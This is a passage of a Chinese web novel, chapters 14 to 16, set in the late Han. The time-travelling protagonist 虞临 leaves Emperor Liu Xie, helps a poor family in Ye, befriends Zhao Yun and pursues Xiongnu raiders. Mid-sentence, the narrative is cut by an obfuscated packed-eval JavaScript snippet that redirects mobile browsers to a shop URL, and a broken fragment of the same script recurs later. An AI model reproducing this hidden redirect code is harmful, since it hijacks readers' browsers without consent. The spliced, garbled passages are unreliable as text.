“何事?” 想着双方日后应不会再见,虞临就偷懒地省掉了引经据典的过程,口吻也是不带丝毫感情的冷淡和直接。 也是因为有恃无恐。 即便刘协惊恐地大叫出声,仅凭那群侍卫,也不可能拦得住他。 不过,既然对方的表现有着超出他预期的镇定自若,他也愿意给予尊重,再给对方一个正式面试的机会。 在他发问后,刘协却仍是沉默不语。 ——这未免也镇定过头了。 虞临微微蹙眉,不解地凝视对方,渐渐察觉出,少年皇帝似乎不是淡然自若地沉思,而更像是……单纯地在发怔? “足下,”半晌,刘协看似回过神来,却还很是恍惚,甚至还下意识地换成了敬称:“可是姑射仙人?” 肌肤似冰雪,曜曜如日华。恰似那辉光照夜,尘垢不侵。 可不正是独含天地之灵秀,岂神之祇?岂人之精? 他的话语里带着十足的小心翼翼,仿佛只要声音一大,惊来旁人,眼前的幻境就要随之碎裂了。 听到这句莫名其妙的问话,虞临则已经有些后悔给这个少年再次面试的机会了。 “不是。” 他尚算耐心地回答。 “噢、噢、竟是如此。” 素来潜心向学、得才博果辩之美誉的刘协,从未觉得自己有过这么口舌笨拙的一天。 他半点没信虞临的回答,心头渐渐炽热。 如汤遇伊尹,周获吕望,他虽龙困浅滩,可神人今夜特地御风相见,岂不足证天命仍在己身? 虞临又静静地等了一阵,就见刘协郑重行了一礼,忽神色急切地询问:“今得足下亲至相语,幸甚至哉,还盼君不吝相告……现汉室倾颓,不知国祚还续否?” 这实是他内心最大的忧惧。 此问一出,他既期待,又恐惧地等待着仙灵神人的答复。 他未发觉的是,对方眸底掠过一抹茫然。 虞临愈发困惑不解了。 他虽未表明身份,但已经明确告诉过对方,自己根本不是仙人。 况且,面前这位身为大汉皇帝的弱冠青年,理应是真正掌握这个问题答案的人。 眼下群雄逐鹿,大势将定,对方身为主公却还不够意志坚定、甚至感到前程迷茫,竟然病急乱投医到把他当许愿机的地步……无论怎么看,都不是明主的表现。 想到潜在阵营只剩袁绍曹操二选一了,虞临面上不显,心情却难得有点郁闷。 他决定离开。 但在起身之前,秉着有始有终的念头,他还是认真地做出了回答:“成败与否,惟系君身。” 不待怔忪的刘协再次出声,不过错目功夫,那抹素影已翩然离去。 14. 第 14 章 在前往邺城的过程中,虞临一改之前日夜兼程的做法。 平时可以直接翻越的崎岖山峦,他优哉游哉地选择花时间去绕开。 遇上沁凉湍急的河流,或是幽深邃远的湖泊,他便就地伐木为舟,无楫而泛。 偶尔还就地取材制成鱼竿,坐于扁舟上垂钓一番。 期间不时遇到一些藏身山中避难的流民,他通常只在暗中观察一阵对方的种田方式、作为日后参考后,就安静离去,并未打扰。 他难得有些偷懒地想,要是在自己抵达邺城之前,官渡战役已经决出胜负的话,那就再好不过了——友人们曾一致断定,这场战役不可能过于持久。 尤其曹军兵少,不堪长期消耗,至多能支撑满一年。 虞临并不了解双方很是豪华的谋士武将阵容,因此并未参与友人们唇枪舌剑式的友好讨论。 不过,单从他最为关注的种植方面分析,他也十分赞同这个观点。 参考过近年来发生在这片土地上的大小战事,在双方皆都全军而出、势要一决胜负的情况下,能打成持久战的可能性堪称微乎其微。 不因别的,单是粮草供应,就不可为长久计。 按照虞临的观察和计算,一位年轻军士所需的口粮约为每月四斛,这还不包括兵器和衣物等损耗物——况且被征入行伍之中的这些寻常兵卒,原本多是躬耕田野的田父。 田地被大量荒废,最重要的人口则在一场场战事中被飞快损耗,此消彼长下,粮草耗尽的那天可谓近在眼前。 袁绍横据河北四州,可谓沃野千里,兵多将广;又有着四世三公的显赫家世,袁氏门生故吏遍天下,无数士人归心,经营冀州不过短短数年,其麾下已是智士悍将如云;再观其先反客为主、逼走韩馥,后先连击破黑山军、公孙瓒势力一统河北的魄力,可见自身能力不俗。 虞临最初在各州百姓或士人口中听闻这位袁大将军英明神武的事迹时,从各项硬实力判断,都很难不认为他是胜券在握的那一方——甚至不需要实战阴谋规矩,只要将经济差进一步拉大,就能将各方各面都略逊一筹的曹操军不攻自破。 想输比想赢要难。 唯独在荆州时,从诸葛亮他们处听到了反对意见。 在几人讨论得热火朝天时,虞临便安安静静地听着,记下关键信息。 在这种信息传递极为落后的年代,他能依赖的就是这些消息灵通、渠道多样的世家子弟了。 他并未将友人们对袁绍性格上“优柔寡断”、“多谋不决”、“迟而多疑”等主观意见十足的评语放在心上,只一心关注客观事实。 当听到袁绍以孝闻名天下,袁绍曾屠城扬威时,他不禁皱了皱眉,将对方的顺位往下大幅降低;当知晓袁绍麾下几乎无人出身寒微、具是名流豪士时,心情倒是毫无波澜;可在听闻对方跨有四州后,竟然豪爽到令三子一甥各据一州之地时,他便只觉得荒诞离奇。 这是还没当上皇帝,就已经迫不及待地玩起了分封制? 但凡稍微想想这种家族企业在管理和权力交替方面的弊端,都让他敬谢不敏。 或许是袁绍对自身的寿数信心十足,觉得只要自己活着一天,底下诸子就不敢轻举妄动。 虞临可不会这么乐观。 要不是留给他的选择实在不多了…… 他面上不显,赶路的步调却已经悄然变得沉重,愈发消极怠工。 等抵达邺城,已是近二十天后的事了。 或许是袁军对自身实力的自傲,又或是因邺城距前线官渡尚有一段不短的距离,伫立于眼前的这座城池,并未似广陵城那样进入高度戒严状态。 纵然有众多铁铠凛凛的士兵镇守于城墙内外,但不论是大敞的城门,还是神态轻松的商贾,亦或是等待进城的漫长车列,都无不代表着邺这座城市仍从容地允许多数黎民的进出。 虞临并不急于入城。 人群的熙攘如潮水推涌而来,他静静立于进城的队列另一侧,未掀幕离,而是无声地透着薄蒙灰雾,抬眼仔细观察着这座城市。 邺初属魏国,后为魏郡郡治,冀州州治则一直是常山。 魏郡于富庶的冀州而言不过算是中等,邺城作为其治所,自然谈不上有多宏伟壮丽。 直到董卓乱政,冀州刺史韩馥或许是为了响应关东联军,才将州治特意迁到了邺城。袁绍则是在迫使韩馥退位让贤后,出于各方各面的考虑,选择延续了这点。 之后的这近十年时间里,则是连年战事、疲于四处征战,缺少投入建设城池的财力人力与精力,便让邺城一直得不到修缮的时机。 平心而论,作为河北霸主势力的中心,邺城呈现于前的规模非但称不上宏伟壮大,甚至比不过刘表所治之襄阳城,显得有些不起眼了。 袁绍能分清轻重缓急、不急于享乐这点,倒是颇让虞临满意,对这位糊涂的冀州主的印象也稍微提升了些许。 他远离人群,怡然自得地围着这座不大不小的城市漫步一周,很快完成巡视。 这略显陈旧的城墙东西向约七里,南北稍短一些,最多四里出头…… 虞临凝神计算时,不远处忽然传来一阵凌乱的脚步声。 他看了一眼。 只见一名瘦削老翁担着两只硕大的陶缸、气喘如牛,身形都因过度使力而呈别扭的歪斜,却还咬牙坚持。 对方并不像做惯农活的,无论是狼狈时也注意体态的本能,还是生疏的挑缸举动,都证明对方应该是落魄士家出身。 紧跟在老翁身畔的,则是一名脸上满是脏灰的年轻妇人。 她身上的衣裙不似寻常贫家女的短劲利落,而是肥大得显不出任何轮廓,缝补的痕迹却很利落。 灰扑扑的,看上去更像是瘦弱男子。 对在乱世里不幸有几分姿色、却不得亲族庇护,自身还需扶老携幼的妇人而言,那些强壮的流民群体是绝对不能接近的。 为了避免引起注意,她不但用土灰将脸弄得脏兮兮的,再套上男子穿的旧袍子盖住身形,只是背上那熟睡的幼子,却还是多少揭露了她女子的身份。 她也顾不上这么多。 老汉很是吃力地挑着水时,她丝毫未闲着,手里吃力地推着因一些大小的破陶碗而沉重不堪的鹿车,瘦削的身上还背着个正熟睡的稚童。 显然,他们做的是卖水给城外等待进城的人群的辛苦生意。 她本正埋头,脸因憋气而发红,卖力推着沉甸甸的鹿车,却还不失敏锐。 似是捕捉到了虞临未加掩饰的打量,她警惕地抬眼,四处梭巡一圈,看见孤身立于不远处的虞临后,浑身都因紧张而绷直了。 在下一刻,她那宛如惊弓之鸟的视线就落到了幕离下若隐若现的眉眼上。 不过片刻后,她就松了屏住的那口气,身体也显而易见地松懈了下来。 但这口气,很快就随着眼前突然发生的一幕被再度提起来了。 “阿翁当心!” 看着不堪重负,陡然往后栽倒的年迈父亲,她绝望地叫了出声:“阿翁——” 她根本没来得及甩开压得手上血泡发疼的横木条、再扑上去扶住父亲,眼前蓦地就像刮起了一阵风。 只是一晃眼的功夫,她那惊魂未定的阿父就被一人稳稳地扶住了。 不光如此,连那叫壮汉用双肩都挑得很是吃力、也叫阿父难受不堪的重担,也叫对方轻描淡写地接过。 她呆呆地眨了眨眼,一时间根本不敢相信自己所看到的。 这…… 不过她也无暇多想这一幕有难以置信,当场就要跪下,冲虞临一番千恩万谢。 她心里清楚,若非对方心善,方才那场意外的后果简直不堪设想:不但辛苦从城中井里等了许久才打好,又专程挑来的水要洒一地,家里仅剩的两口大陶缸也不可能保住。 最叫她心惊肉跳的,还是阿父——若当时真栽倒在碎陶中,必受重创。 虞临不着痕迹地看了眼睡得很不安稳、随时都要苏醒的幼崽,沉声道:“不必。” 他语调平稳冷静,不含喜怒,却带着难以言喻的威严。 叫父女二人同时僵住,不敢动弹。 即便接下来这位容仪非凡的恩人,旁若无人地将两口硕缸压在了本就沉重的板车上,又动作很快地对车轮毂做了点什么……他们也只是一边瞪大眼睛,一边欲言又止。 虞临微微歪头,看向不知道为什么还愣着不动的他们。 他虽然不解他们为什么拖拖拉拉,但还是提醒:“坐。” 二人满头雾水,但对视一眼后,还是默默照做。 鹿车本就窄小,如今二人又带个稚子与货物同坐以上,更是拥挤不堪。 不过,父女二人在意的也根本不是是否舒适的问题:叫他们提心吊胆的,是这破旧车驾仿佛随时都会不堪重负,轰然倒塌。 不论恩公是想做什么,总不可能是要纡尊降贵去推车罢。 这么多重物一道堆上去,加上那年久失修、推着更加费劲的车轮,少说也得两个,不,甚至三个壮汉一同使力才—— 他们正胡思乱想着,下一刻,身下的板车就被轻而易举地推动了。 不。 是突然来了一股前所未有的强大推力,险些将二人直接甩飞出去! 他们惊魂未定地放软了腰杆,难以置信地看向彼此,又看向举千钧若轻鸿的恩公。 这是什么? 前一刻还宛如垂暮老朽的鹿车到了恩公手里,却似骤然焕发出了从未有过的生命力,轻捷迅疾,载着诸多重物风驰电掣。 他们如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15531966|170016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在梦中,连嘴何时张大了都没有发现。 要不是身后还堆积着众多陶罐陶碗,他们几乎要怀疑自己已成了背上稚子曾拽着奔驰的鸠车了。 虞临并未在意二人灵魂出窍般的姿态。 毫不费力地将这老弱小的三人连货顺路推到城门位置,他无视又准备行跪拜礼的二人,一言不发地转身离开。 二人顿时着急了。 莫说是答谢了,他们甚至连恩公的名字都没问出来呢! “恩公,恩公请留步!” 老翁徒劳地喊着。 眼看对方头也不回地就要走,那女子顿时心急火燎,一时间根本顾不上男女大防,匆匆放下背上的幼子,拔腿就要去追。 巧合的是,一直熟睡的稚子恰在这时醒来。 他正处于最好模仿大人的岁数,人还朦朦胧胧的,稚嫩的童言童语就先出现了:“恩、恩公、请留留步?” 他显然天生带点口吃的小毛病,仍好奇地重复着。 女子则惊喜地发现,恩公真的因此止步了! 听到只存在于废土时期的影像资料中、在这乱世里也极少见的幼崽的唤声,虞临下意识地止了步。 他回头,这次看清楚了被母亲尽力照看得干净整洁,却还是因长期营养不良而显得瘦巴巴的幼童,不禁皱了皱眉。 这也太瘦弱了。 虞临理智上清楚,乱世中多的是生子辄杀,易子而食的悲剧。 大势一日不见平稳,这种灾祸便一日不绝。即便每日施救,也只是杯水车薪。 但活生生正站在他面前的,到底不同。 虞临这一迟疑,那老翁便抓住机会,三步并作两步地冲过来了。 老翁终于意识到,自己若是郑重下拜,不愿受谢的恩人恐怕又要翩然离开,只得换成深深一揖。 他恭敬地自报家门后,便诚恳求问虞临名姓。 这对王氏父女原是颍川郡人,女子近月来因丧夫而携子归家,才在家中住上数日,便不幸遇上刘备军于许下劫掠。 其兵虽然很快如星四散,却沦为盗匪,四处流窜、滋扰百姓,他们深受其苦。 无奈之下,只得携带少许细软暂离家乡,往邺投靠亲亲。 只是连年战乱,税负沉冗,粮价攀升,亲亲虽愿收留他们,却也捉襟见肘,无力长期接济。 更何况他们还有一幼子抚养。 眼看战事不休,兵费剧增,非但粮草告急,他物既少且贵。 眼看着所携的少数家资即将耗尽,他们匆忙下别无选择,唯有临时做这挑水去城门售卖的小生意。 虞临的视线一直落在那正好奇地睁大眼睛、不住打量自己的胆大幼崽身上,心不在焉地应了几声。 在对方小心翼翼地询问他的名讳时,他也随口说了:“陈国虞临,字子至。” 便又听对方一番赞美,最后道:“……奈何老朽垂暮,且门庭式微,家女柔弱,恐难酬今日厚恩。幸有外孙艾,乃南阳邓氏之后,倘有机缘,日后或可略报万一。” 听到这里,虞临缓缓地眨了下眼。 他忽然有了主意。 “善。我观此童甚慧,颇有异才,愿拭目候之。” 这当然是假话。 在二人反应过来前,虞临已神态自若地从袖中取出一物,利落投到乖乖坐在鹿车上的邓艾怀中:“予你自用。及冠之日,再来寻我。” 二人还未完全听明白虞临的意思,便本能地逐影而去,最后看向那物的落点。 ——正困惑地端详怀中那金灿灿的小饼的邓艾。 待看清楚那并非是他们眼花,而切切实实是一块瞧着有一两重的金饼后,父女俩不由得倒抽一口冷气,连冷汗都下来了。 “还请虞君切莫如此!” 他们如今落魄,连这出手相助的恩情都无法还清,怎么能再厚颜无耻地接受如此贵重的馈赠! 然而等他们急匆匆地回头,欲要将金饼归还,却早已在攒动人头中失去了对方的行踪。 进城的队伍虽长,却很是有序,不久便轮到了虞临。 来自陈登的推荐信当然是不能用的,他先是递上了出自荆州友人们之手的名刺和进城所需的十钱,又自然地摘下幕离,还模仿着前面那些商队主人的动作、从囊中取出给守卫的贿赂金。 此时的他刚给出身上的最后一块金饼,余钱其实已经不多,却也没有破坏当地人规矩的念头。 令他意外的是,守卫在看过名刺后,审视的目光只在他身上定格了片刻,就很快地移开。 旋即痛快放行,根本不等他递上贿费。 孔明他们准备的名刺,竟然这么好用吗? 虞临任由思绪发散着,漫不经心地收起了省下的这十几枚五铢钱,重新戴上幕离,沿着弛道左侧走去。 15. 第 15 章 陪主公坐于酒馆二楼,透过窗户恰好目睹了那守卫难得一见的欠身行礼姿态,一雄壮军汉不禁挑起一侧浓眉,嗤笑了一声:“何前倨而后恭也?” 因兵败众散,他随主公无奈至邺,一晃已有数月。 在这段时间里,他可没少见那出身审氏旁系的城门守卫趾高气昂、对入城者威柄自专的面孔。 现见其蓦地对那孤身入城者换了副嘴脸,虽未及看见对方面孔,也不难从那陡然变化的态度上猜出对方多为公卿子弟的身份。 “贤弟何为怒耶?” 对面席上所端坐之人稍年长一些,身量高大,面上却如少年般无须。 他面色心不在焉,不知正思忖什么,突然听见同伴出言相讥,便温和地问了这么一句。 对方摇了摇头。 就是这一分神的功夫,那道让他有些好奇的身影便如鱼入水般融入了熙熙攘攘的人群,一时间竟找不到了。 “飞未曾怒。”没能看清对方容貌,他略感遗憾地将视线从窗外收了回来,嘀咕道:“不过是些不相关的人。” 他本就对那人并无恶意,不过是瞧不上守卫的前后判若两人的做派罢了。 他尊重出身阀阅、清节隽彦之芝兰,也厌那借士族之势、自命不凡的凡夫走卒。 虞临完美地融入人群后,顺着时疏时稠的人流行走于城中大小街道上,不到两个时辰,就将这座不大不小的城池内部也大致逛完了。 在逛过现已经沦为荒凉焦土、但依旧能看见一些昔日辉煌轮廓的长安雒阳后,邺城的规模和人口数量自显得十分可怜——或许是连年战乱的影响,也或许是青壮已被强征入伍、抽调一空至前线,城中此时的人口并不算多,本地人更以老弱妇孺为主。 虞临正思索着,就被人流裹携,顺道看了几场热闹。 所谓热闹,其实就是冀州之主袁绍身边的那几大谋士家族间的明争暗斗:不光是主家之间唇枪舌剑、争权夺势,其门客亦是明枪暗箭,斗争不休。 虞临对袁绍身边数大谋士只有表层了解,心不在焉地看了会,渐渐分辨出两群正在武斗的人明显有一方势力更强。 人数不仅稍多上几人,行詈时也明显更有依仗。 更重要的是,尽管他听得有些似懂非懂,但占上风那方的口音,听起来是属魏郡本地的。 两边用一堆虞临眼里如同开玩笑般的花拳绣腿比划了一通,几人受伤,守卫也终于从东边姗姗来迟。 却既没有为被抢了货物的倒霉商人苦主主持公道,也没有和稀泥地各打五十大板。 而是毫不犹豫地站到了其中一方的立场上,将神色愤愤不平的败者一顿训斥,然后强行驱散人群。 围观的人津津有味地欣赏完,哪怕无需驱赶,也渐渐自主散了。 虞临分神听了会周边人七嘴八舌的议论,搞清楚了两伙人是谁。 ——是各属袁绍麾下两大谋士,许攸与审配的族人。 自始至终都占上风的那方,赫然是势力于魏郡盘根错节、被袁绍出征前委以心腹重任,作为别驾坐镇邺城本营的审配门客。 而最后闻风赶来、毅然决然拉偏架的卫兵,正是别驾审配兄长之子审荣。 听到这里,虞临方才看闹剧时的那种事不关己感,一下就不翼而飞了。 即便他早知冀州阵营内派系林立,也没料到他们会将拉帮结派、排除异己这么摆到明面上。 甚至连敷衍的掩饰都不屑于。 袁绍看似还活得好好的,这方面的作用却跟死了没什么两样——主公明明正于前线亲自坐镇,挥斥方遒,邺城作为后方最重要的大本营却在公然起火,任由掌握主公机密的谋士家人间发生冲突。 想到这意味着什么,虞临的眼里,终于失去了最后一丝光彩。 ——友人们精心为他修改的名刺,显然又失去了登场的希望了。 恰在这时,身侧忽然有人轻叹了一声。 混于纷杂的吵嚷声中,这叹息其实并不明显,只是虞临耳力实在过人,捕捉到后,不假思索地投去了一眼。 正巧与那人对上视线。 双方视线稍加接触,一向是能沉默就沉默的虞临微微垂眸,率先移开了目光。 他神色晏然,若无其事。 只可惜,明显更重礼节的对方,并未顺他所意地当做无事发生。 这位身长足有八尺的男子大大方方地笑了笑,非但没有走开,还主动向他走来。 在他身前,利落地拱手一礼:“鄙人赵云,字子龙,常山真定人士。今日得遇郎君,不胜欣喜。敢问郎君尊姓大名?” 虞临抿了抿唇。 迄今为止,多年来彻底适应了独来独往的他,还是没能适应此时人能若无其事地同素味平生者打招呼,主动表达结交意愿的做法。 尤其在跟诸葛亮同住的那段时间,为了享受免费图书的待遇,他已经把少得可怜的说话欲给用光了——同刘氏兄弟及太守陈登说的那些,已经是透支了明年的份额。 如非必要,他真不想开口。 他默默地盯着这位自称赵云的常山人士的脸看了一会,视线漠然,隐隐希望对方能因他冷淡,而主动放弃。 然而对方目中虽流露出一丝疑惑,却未扫兴离去,甚至笑得更友好了一点。 虞临:“……陈国虞临虞子至,愿问赵君起居。” 至少经过频繁练习,他已经渐渐习惯在自称里带上那个假籍贯了。 不过,虞临那份因再次被动交友而变得有些郁郁的心情,倒是很快就好转了。 赵云的行事做派直爽磊落,带义侠正气。 最重要的是,说话不喜咬文嚼字。 观其谈吐,不易看出对方亦曾读过不少书卷,但到底跟虞临之前其实很懒于打交道的那些文士很是不同。 确切地说,赵云刚巧是虞临自来到这个异世以来,结交的第一位修武之人——这才让虞临恍然意识到,并不是所有人说话都需再三斟酌,凡语出必要引经据典的。 况且,赵云人生得高大矫健,心思却十分细腻。 他很快察觉出虞临沉默寡言的本性,并不似刘望之那般自顾自地滔滔不绝,而是不着痕迹地抛出各种各样的话题。 直到聊到虞临神色稍有变化,流露出一些兴趣了,他便顺理成章地将那话题开展下去。 于赵云而言,亦是难掩喜悦。 这位凛然鹤立于人群中,叫自己光见幕离下的超逸身姿便心生好感的青年,思虑见地果真如其风仪般不俗。 固然惜字如金,却字字玑珠,颇对他心意。 二人先在茶馆坐了一阵,见虞临始终不去碰那茶汤,又看出他多半也是初来乍到,赵云索性将他邀请回了自己的暂时住所。 虞临应邀后,稍微观察了一下新朋友的临时住处。 同刘氏郎君斥重金购置的宅院毫无可比之处,也远远不如与诸葛亮那被谦称作茅庐、实则内秀的宽敞连栋,是最普通不过的民居。内里井井有条,一切看起来都非常干净整洁,没有多余的饰物。 赵云俨然是名单身汉,在厨房里忙碌的并非其妻室,而是从当地雇请的仆役:也远不及世家子的排场,有且只有一名。 或许是因为回到了自己的住处,也或许是由于虞临应了他的邀请、理所当然地认为这份新结下的友情比“互称表字的上一阶段”更进了一步,赵云的神态明显更加从容放松了。 哺食尚未备好,他领虞临在主屋坐下后,语气轻松地问:“子至此番来邺,可是有意投身袁军?” 他自有意志,亦素不好干涉他人所想,今日若非实在不忍见明主有暗投之嫌,也不会主动多此一问。 说到这点,虞临心里就有点郁闷:“在亲眼目睹方才那幕之前,确实曾存此念。” 赵云彻底放下心来。 他眼里流露出一抹笑意:“愚见与子至略同,袁冀州绝非明主。” 隐约听出他语气里带的一点笃定,虞临询道:“子龙心中,似已有意向。” “瞒不过子至慧眼。” 这位高大躯健的青年微赧一笑,解释道:“云于公孙将军麾下时,曾奉命相助彼时任平原相之刘使君。观刘使君内仁外义,体察民情,所到之处无不上下齐心……” 虞临耐心地聆听了好一阵赵云对“刘使君”的含蓄赞美后,面上毫无波澜,实则正努力分析那究竟是哪位姓刘的。 姓刘的实在是太多了。 毕竟是天子之姓,多半是哪位汉室宗亲之后——然而刘家后代遍天下,光是他间接或直接打过照面的刘使君,就已经有益州和荆州的两位了。 活在人们口中、颇有些名望的,还有殒身不久的前幽州牧刘虞和前扬州刺史刘繇。 赵云所提事迹,显然与刘璋与刘表无关,听起来又尚在人世,不可能是已故二人。 除这二人外,还有哪位能被称为刘使君? 尽管好像从未从别处听闻过任何有关对方的事迹,但光是出于对赵云真诚品行的信任,他仍基本相信了对方的话。 如果一切属实的话,那不但是赵云心心念念,在面试主公上屡次受挫的他,亦对这位堪称完美人选的“刘使君”有些心动了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他一路由南至北,跋涉山川而来,亲眼目睹下的冀地百姓虽面有菜色,言辞间却对为输送前线粮草而频繁征粮的袁绍毫无怨怼。 最多是为不知要持续多久的战事感到担忧,并发愁靠家中仅存的那一点粮,要怎样熬到下一轮麦熟。 虞临不知道是此时的农人太任劳任怨、长期被剥削成麻木不仁的状态,还是相比烽火连年、民不聊生的其他诸侯治下,袁绍的确已经能算是其中翘楚了。 赵云未察觉出虞临转移话题的用意,闻言神色微黯,苦笑道:“云欲从仁政所在。不料公孙将军志改心易,不复安邦定国,救民于水火之志……” 他将当年之事对虞临徐徐道来。 他身为常山郡国人士,生逢乱世,自中平元年黄巾于巨鹿起事,毗邻巨鹿之家乡故土便深受牵连,几乎要沦为焦土。 在此紧要关头,常山王刘暠非但未能护佑百姓,反而贪生怕死,弃城而逃,将毫不知情的百姓推向屠刀之下。 雪上加霜的是,同样出身常山真定之贼人褚燕,趁衅为寇,与其他贼人合兵为黑山军,域外羌胡更是乘燹剽掠、频频残虐百姓。 自此常山国深受战火肆虐,永无宁日。 赵云自幼亲眼看着乡人流离失所,万物雕弊,自是痛心至极。 在当时的他看来,袁绍起空唱高举关东义军之名,却寸功未立,倒利用袁氏四世三公之望反客为主,威逼利诱下夺得袁氏旧吏韩馥之冀地,实在自私可鄙。 相比之下,公孙瓒虽出身寒微,却既愿为刘太守轻生取义,又愿亲身掠阵杀敌、视胡虏如恶仇,显然更胜一筹。 殊不知公孙瓒得势不过数载,便原形毕露,贪功忘本,生生踏上自取灭亡之道。 ——他所希冀的仁良之政,也与白马义从之威一同覆灭了。 见赵云无言垂眸,神色黯淡,虞临有些不自在地将一手收拢,松松握拳。 按照这时的社交习惯,他似乎应该在这种时候发表些看法,表达开解或是宽慰之意。 就在他淡色凝神,思索合适的典故时,巷道间却忽然传来一阵撕心裂肺的呼喊声。 二人不禁一怔,不约而同地起身,朝门外走去。 门扉打开后,便看到一赤足疾奔、头发散乱的妇人身影。 她在狭长的巷弄里来来回回地跑,好似在找一户人家,可精神早就涣散,哪怕反复路过了目标,脑子也没能分辨出来。 虞临在影像中曾见过许多类似的神态。 基本都出现在废土一期,人类刚接触到丧尸的时候。 她此时的表现完美符合刚经历过极度恐惧和愤怒的特征,一时间连口齿都变得不清,更因嘶喊了一路,声音不复尖锐,显得沙哑变形。 赵云一边令下仆去寻人帮助那失了魂的妇人,一边蹙眉,努力分辨了好一阵,才勉强听出对方到底在说什么。 “王家的,快去城门那呀!那卖水的老汉好似你家的,适才他,他……我亲眼看着,他被骑马冲来的匈奴马贼给生生砍杀了!” 16. 第 16 章 “汝此言何谓?!” 赵云神色大变,倏然大步朝前,就要走到那女子身侧问个清楚。 自中原兵乱以来,匈奴骑乘隙于冀地大行残杀掳掠,可谓屡见不鲜。 然自去岁以来,袁绍萌生举兵南下、挥师向许之心,急需精骑相助。遂诺乌桓以单于之位,又以麾下贵女妻其权贵,亦不忘和善匈奴。 此举无异于引狼入室,可谓后患无穷,固然叫赵云深恶痛绝。 但不可否认的是,自各怀鬼胎的双方结为疏散联盟以来,匈奴兵明面上便极少入冀兴乱了。 这不仅是元元常年受战乱之苦,已是家家无余财,户户无青壮的凄惨,更是因袁绍出手阔绰,叫匈奴人不急于远出掠取。 更何况,即便邺城眼下并无势主袁绍亲自坐镇,仍是冀州州治所在。 匈奴骑岂会,又岂敢如此嚣张行事! 赵云才迈出数步,便觉耳畔似有一阵疾风骤雨掠过。 他诧然回首。 ——飞花落叶间,新识的那位友人竟已然走远了。 仿佛瞬息,虞临便已至城门。 与午时的井然有序、人们有说有笑地排队等待进城的情景相比,可谓一片骚乱。 训练有素的城门卫兵坚守职责,自胡骑飞速接近时,就立即遵照上面指示,关闭了城门。 哪怕这一举动意味着尚未进城的人们将在毫无防备的情况下,直接暴露在匈奴骑的冲击之下,他们除中个别面露不忍外,具是冷若寒霜。 在他们眼里,只要尚未取得进城资质,便多是各地来奔的流民商贾。 既不属冀民,自也不受袁公庇护。 虞临听着外面传来的哀哭尖嚎,面色似是毫无波澜。 他丝毫未在意这一路疾驰而来时,周围人落在自己身上各种目光,只循着那从浅淡到浓重的血腥气一路朝前,直到这紧闭的城门下。 有卫兵已经开始呵斥:“做什么?城禁已开,闲杂人等不得接近,还不速速退开!” 也有人仔细看了头戴幕离的这人一眼后,一边低声劝着,一边试图拽他进店铺暂避:“若有急事,也需耐心稍待一阵。” 还有好脾气的卫兵对方才一幕心存不忍,此时也好意出言,帮着劝说:“汝有所不知,现城外胡骑猖獗。待将军们回援,此困必将迎刃而解。” “在此之前,还需暂避。” 虞临微微偏过头来,却礼貌地打断了他的话:“多谢。” 话音未落,所有人都倏然睁大了眼。 “你——!” 虞临视若罔闻。 夯土墙远比光滑的石壁或带电网的合金壁垒容易攀爬,在他眼里,根本不能被视作阻碍。 他甚至不需要借助任何工具,只需看准起落点,敏捷有力地几下攀爬与轻若无物的跳跃后,便行云流水地翻到了墙外。 刘张二人在茶馆二楼恰巧目睹了这如游鱼曳尾、柏舟泛流一幕,眼眸倏然睁大了。 “此真乃神人也!” 张飞眼睛一亮,为那干净流畅、利落得赏心悦目的举动猛一拍桌,情不自禁地站了起来。 只可惜,他再想结识对方,也是无计可施——对方早已经消失在他的视野之中了。 虞临落得极快极急。 待他真正着地时,却于又如飞燕般轻盈。 非但未激起尘土,连早已因受乱而惊慌四散、到处躲藏的流民百姓,也几乎没有注意到墙头上竟瞬间翻下来一人。 虞临只往四周看了一眼,很快走到一辆熟悉的鹿车面前。 车身被粗暴打翻,碎瓦散了一地。 车附近并未见人,但在旁边有大滩血迹,同碎缸里涌出的井水混在一起,呈现令人作呕的浅赤色。 只是这种程度的话,叫雨水冲刷个一两回,就什么也看不见了。 虞临静静垂眸,目宁如水。 顺着血被拖拽的痕迹,几乎不用过多的寻找,就能在离碎裂的车轮毂不远的地方看见那摊血液的主人。 ——污泥地里,静静俯卧着一具麻衣被发褐的血污浸透的躯体。 它不知何时失了头颅,断口处已经不再流血了,渐渐变得僵硬。 他并未细看。 无论这具躯体的主人之前名讳为何,因何在邺城墙外徘徊,城中可有亲亲守望相助……这些细枝末节,都已经变得无关紧要。 鲜活的生命已经被无情剥夺。 冷静地意识到这点后,明明早已对同类的各种凄惨死状司空见惯的虞临,心里逐渐涌上一种极其陌生的感受。 ——明明没有激烈活动,他向来偏低的体温却开始明显上升,心跳中幅加速,呼吸频率略微上升,血液的流速也明显加快了。 这是什么感觉? 虞临一边分神想着,一边利落地取下了背上的长弓。 这还是他在广陵辞别刘廙兄弟时,由刘望之亲手赠予的礼物:同他之前那把就地取材,纯用竹木自制的长弓不同,由南阳刘氏豢养的工匠精心炮制出的这柄由犀角、兽骨、虎筋和混竹木胶合而成的复合劲弓,正适合在这不算潮湿的北地使用。 他稍稍调试了下弓弦,确定无误后,便开始低头寻找起了什么。 不过片刻,他就找到了想要的马蹄印。 “有什么好避的?” 说话者高鼻深目,披一头长发,胡须因杂乱显得较为茂密。 偏高的音调则彰显他未完全脱去稚气,还只是个残存着些许少年痕迹的青年。 对于兄长的谨慎,他很是不以为然:那些中原军队都忙着打仗呢,那名声赫赫的冀州主袁绍拉拢他们还来不及,有必要在杀了几个区区老汉后,就四处避着那些矮垒吗? 他的兄长刚带了心仪的女子回家,她想要件漂亮的丝绸衣服;他也到了该着急婚娶的年纪,怎么都得准备些年轻姑娘喜欢的亮晶晶的礼物;家里的汉人奴隶偏在这时因伤病死了两个,供使唤的人一时间不够用了,他才会闹着要随兄长一同出来掳掠。 距他们上回出来劫掠汉民,已经有好几个月了。 